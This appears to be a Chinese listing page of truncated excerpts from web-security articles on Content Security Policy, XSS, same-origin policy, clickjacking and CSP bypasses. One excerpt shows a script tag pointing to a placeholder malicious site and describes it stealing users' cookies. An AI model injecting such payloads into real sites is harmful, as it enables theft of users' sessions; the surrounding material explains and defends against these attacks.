内容安全策略(CSP),是一种安全策略,其原理是当浏览器请求某一个网站时,告诉该浏览器申明文件可以执行,什么不可以执行。CSP是专门解决XSS攻击而生的神器。 CSP的引入会使得我们的引入扩展程序更加安全,并且可以由开发者指定可以加载扩展程序的类型,避免恶意的脚本在浏览器中执行,造成信息泄露问题。
关注「前端向后」微信公众号,你将收获一系列「用心原创」的高质量技术文章,主题包括但不限于前端、Node.js以及服务端技术
Web安全是前端开发人员经常忽略的主题。当我们评估网站的质量时,我们通常会查看性能,SEO友好性和可访问性等指标,而网站抵御恶意攻击的能力却常常被忽略。
文章是之前发表在安全智库的文章,主要是一些CSP的分析和一部分bypass CSP的实例
2020年2月24日-28日,网络安全行业盛会RSA Conference将在旧金山拉开帷幕。已经相继向大家介绍了入选今年创新沙盒的十强初创公司:Elevate Security 、Sqreen和Tala Security三家厂商,下面将介绍的是:Tala Security。
CSP 全称 Content Security Policy,即内容安全策略。CSP 是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括 XSS 和注入。
⭐️ 更多前端技术和知识点,搜索订阅号 JS 菌 订阅 内容安全策略的主要作用就是尽量降低网站遭受 XSS 跨站脚本攻击的可能。浏览器没办法区分要执行的代码是否为页面本身的还是恶意注入的,XSS 就是
比如,这个 http://store.company.com/dir/page.html 和下面这些 URL 相比源的结果如下:
2018年年中,当时我发现了一个Twitter的存储型XSS漏洞,该漏洞位于Twitter的犄角旮旯之处,一般人很难发现。重点在于,后来我又发现,这个存储型XSS漏洞可以被进一步构造形成一个稳定的XSS worm!
内容安全策略(Content Security Policy下面简称CSP)是一种声明的安全机制,我们可以通过设置CSP来控制浏览器的一些行为,从而达到防止页面被攻击的目的。比如通过禁止内联的JavaScript脚本,来控制页面的脚本注入攻击。
https://www.cnblogs.com/wangyuyang1016/p/10421073.html
XSS(Cross Site Scripting),又称跨站脚本,XSS的重点不在于跨站点,而是在于脚本的执行。在WEB前端应用日益发展的今天,XSS漏洞尤其容易被开发人员忽视,最终可能造成对个人信息的泄漏。如今,仍然没有统一的方式来检测XSS漏洞,但是对于前端开发人员而言,仍是可以在某些细微处避免的,因此本文会结合笔者的学习和经验总结解决和避免的一些方案,并简要从webkit内核分析浏览器内核对于XSS避免所做的努力,了解底层基础设施对预防XSS所做的贡献。 XSS的种类和特点 此处不详细讲解XSS的一
在本节中,我们将解释什么是 clickjacking 点击劫持,并描述常见的点击劫持攻击示例,以及讨论如何防御这些攻击。
当你的网站上了 HTTPS 以后,可否觉得网站已经安全了?这里 提供了一个 HTTPS 是否安全的检测工具,你可以试试。
大家好,今天和大家讨论的是 CSP ,即内容安全策略。相信很多朋友在渗透测试的过程中已经了解过 CSP 了
CSP全称Content Security Policy ,可以直接翻译为内容安全策略,说白了,就是为了页面内容安全而制定的一系列防护策略. 通过CSP所约束的的规责指定可信的内容来源(这里的内容可以指脚本、图片、iframe、fton、style等等可能的远程的资源)。通过CSP协定,让WEB处于一个安全的运行环境中。
在Chrome 81版本之上时,通过iframe引入的页面无法正常使用粘贴板。此时,控制台会输出
CSP 全名 内容安全策略(Content Security Policy) 主要用来防御:XSS CSP 基本思路 定义外部内容引用的白名单 例如 页面中有个按钮,执行的动作源于 http://a.com/x.js,但如果被攻击的话,有可能执行的是 http://b.com/x.js 浏览器可以下载并执行任意js请求,而不论其来源 CSP 的作用就是创建一个可信来源的白名单,使得浏览器只执行来自这些来源的资源,而不是盲目信任所有内容,即使攻击者可以找到漏洞来注入脚本,但是因为来源不包含在白
若两个URL 协议,端口,host都相同,则这两个URL同源。 这个方案叫做“协议/主机/端口元组”,或者直接是 “元组”
本页面介绍了Angular内置的针对常见的Web应用程序漏洞和跨站脚本攻击等攻击的内置保护。 它不包括应用程序级别的安全性,如身份验证(此用户是谁?)和授权(此用户可以做什么?)。
当通过 tarnish 扫描大量 Chrome 扩展程序时,我发现了两款流行的 Chrome 扩展程序 Video Downloader for Chrome version 5.0.012 (820万用户) 和 Video Downloader Plus(730 万用户) 在浏览器的操作页中存在 XSS 漏洞,而利用这些扩展程序只要让受害者导航到攻击者控制的页面。
Chrome 即将在 83 版本新增一个可信类型(Trusted types),其号称这一特性可以全面消除 DOM XSS,为此我连夜分析了一波,下面我就带大家来具体看一下这个特性:
前端安全是指用于保护您的网络应用程序/网站客户端免受威胁和漏洞的技术或实践。防止未经授权的访问、数据泄漏和恶意活动对您的网络应用程序整体完整性的影响非常重要。您的前端可能会受到多种攻击,例如跨站点脚本(XSS),它会将恶意脚本注入您的网络应用程序,以针对其用户。还有其他前端威胁,例如跨站点请求伪造、点击劫持等等。如果没有适当的措施,您的网络应用程序将容易受到大多数这些威胁的攻击。让我们深入探讨!
大家好,今天和大家讨论的是 Web 嵌入,无论是网站还是应用程序,在部分场景下我们需要嵌入一些第三方的 web 内容,例如我写了篇技术文章,其中部分包含视频内容,我上传到 B 站上了,我想把这段内容嵌入到我的技术文章中,就可能要使用 web 嵌入技术
利用漏洞提交恶意 JavaScript 代码,比如在input, textarea等所有可能输入文本信息的区域,输入<script src="http://恶意网站"></script>等,提交后信息会存在服务器中,当用户再次打开网站请求到相应的数据,打开页面,恶意脚本就会将用户的 Cookie 信息等数据上传到黑客服务器。
Photo by Philipp Katzenberger on Unsplash
32 | 同源策略:为什么XMLHttpRequest不能跨域请求资源–Web页面安全 浏览器安全分为三大块:Web页面安全、浏览器网络安全、浏览器系统安全。 同源策略 页面中最基础、最核心的安全策略:同源策略(same-origin policy) 如果两个URL协议相同、域名相同、端口相同,就称为这两个URL同源 同源策略就是说:相同源之间可以操作DOM、读取互相之间的Cookie、indexDB、locationStorage等页面数据以及网络层面共享。 也就解释了为什么同源策略限制了X
在互联网时代,信息安全成为一个非常重要的问题,所以我们西部了解前端的安全问题,并且知道如何去预防、修复安全漏洞。
同源策略是指对于不同的页面,它们的主机名、协议和端口都相同,它们资源之间的交互是不受限制的。
如果你被面试官问到这个问题,不要急于描述自己遇到的问题以及如何处理的,你得先去理解问题中的潜台词。“做过哪些措施”更深层的意思是“你熟悉哪些攻击方式,知道哪些解决方案?”当然,不可能把每次做的安全防范措施都一一的说给面试官听, 这样显得没有重点。
最近看了去年google团队写的文章CSP Is Dead, Long Live CSP!,对csp有了新的认识,在文章中,google团队提出了nonce-{random}的csp实现方式,而事实上,在去年的圣诞节,Sebastian 演示了这种csp实现方式的攻击方式,也就是利用浏览器缓存来攻击,现在来详细分析下。 漏洞分析 原文查看:http://sirdarckcat.blogspot.jp/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html
请求报错:Refused to connect to 'http://127.0.0.1:8000/get?name=kv-grpc' because it violates the following Content Security Policy directive: "default-src 'self'". Note that 'connect-src' was not explicitly set, so 'default-src' is used as a fallback
基于 DOM 的跨站点脚本 (XSS) 漏洞是我最喜欢利用的漏洞之一。这有点像解谜;有时你会得到一个角落,比如$.html(),其他时候你必须依靠反复试验。我最近在 bug 赏金计划中遇到了两个有趣postMessage的 DOM XSS 漏洞,这些漏洞让我解谜的痒痒。
正式加入生产环境前可以先仅收集一段时间的不匹配规则日志,观察一段时间没有问题再上生产环境。或者仅仅作为监控异常行为来使用也可以!
在IDEA里集成阿里的https://start.aliyun.com,创建一个Spring Initializr项目:
内容安全策略(CSP)是一个 HTTP Header,CSP 通过告诉浏览器一系列规则,严格规定页面中哪些资源允许有哪些来源, 不在指定范围内的统统拒绝。
最近发现 Chrome 团队在博客更新了一篇文章,表示 YouTube 要实施 Trusted Types(可信类型)了,要求相关插件的开发者尽快完成改造,不然插件可能就用不了了。
现代的网络浏览器提供了很多的安全功能,旨在保护浏览器用户免受各种各样的威胁,如安装在他们设备上的恶意软件、监听他们网络流量的黑客以及恶意的钓鱼网站。
嗨,大家好!️欢迎阅读“使用CORS和CSP保护前端应用程序”——这是今天不断发展的网络环境中必读的文章。
概述 ---- Web应用中有许多基本的安全机制,其中一个是同源(same-origin)策略机制,该机制规定了应用程序代码可以访问的资源范围。同源策略的基本思想是,源自于某台服务器上的代码只能访问同一台服务器上的web资源。 比如,在Web浏览器上下文中执行的某个脚本,如果其来源服务器为good.example.com,那么它就可以访问同一台服务器上的数据资源。另一方面,根据同源策略的思想,来自evil.example.com的另一个脚本不能访问good.example.com上的任何数据。
原文被我发在freebuff上 http://www.freebuf.com/articles/web/133455.html
CSS相信大家不会陌生,在百度百科中它的解释是一种用来表现HTML(标准通用标记语言的一个应用)或XML(标准通用标记语言的一个子集)等文件样式的计算机语言。 那么,它仅仅只是一种用来表示样式的语言吗?当然不是!其实早在几年前,CSS就已被安全研究人员运用于渗透测试当中。这里有一篇文章就为我们详细介绍了一种,使用属性选择器和iFrame,并通过CSS注入来窃取敏感数据的方法。但由于该方法需要iFrame,而大多数主流站点都不允许该操作,因此这种攻击方法并不实用。 这里我将为大家详细介绍一种不需要ifram
周末肛了一下0ctf,发现自己依旧那么菜。一道题也没解出来,成功的再一次拖了队伍后退。 今天发现国外大佬们已经开始放wp了。于是自己学习一波,复现一下。 先吐槽一波 h4x0rs.club1 Flag is biography of the administrator. There are more than one way to get this flag. h4x0rs.club-https://h4x0rs.club/game/ backend_www got backup at /var/www/h
由于整个站最初的时候其实是用来测试漏洞的,所以被改成题目的时候很多应该注意的地方没有仔细推敲,在看了别人wp后仔细研究了一下,我发现题目本身漏洞就要求admin和xss点在同源下,整个漏洞被改成ctf题目是存在冲突的,再加上flag所在的地方使用了referer check本身就有问题,导致题目有了很多非预期解法,深感抱歉。
内容安全策略(CSP)是一个额外的安全层,用于检测并削弱某些特定类型的Attack,包括跨站脚本(XSS)和数据注入Attack等。无论是数据盗取、网站内容污染还是恶意软件分发,这些Attack都是主要的手段。
对于常规的Web攻击手段,如XSS、CSRF、SQL注入、(常规的不包括文件上传漏洞、DDoS攻击)等1.XSS跨站脚本攻击,因为缩写和css重叠,所以能叫XSS,跨脚本攻击是指通过存在安全漏洞的web网站注册用户的浏览器内非法的非本站点HTML标签或javascript进行一种攻击。跨站脚本攻击有可能造成以下影响利用虚假输入表单骗取用户个人信息用脚本窃取用户的cookie值,被害者在不知情况的下,帮助攻击者发送恶意请求防范手册HEAD ctx.set('X-XSS-Protection',0) //禁止X
协议、域名 和 端口 都相同的两个 URL 同源,默认可以相互访问资源和操作 DOM,两个不同源之间通过安全策略制约隔离 DOM、页面数据和网络通信来保障隐私和数据安全。
领取专属 10元无门槛券
手把手带您无忧上云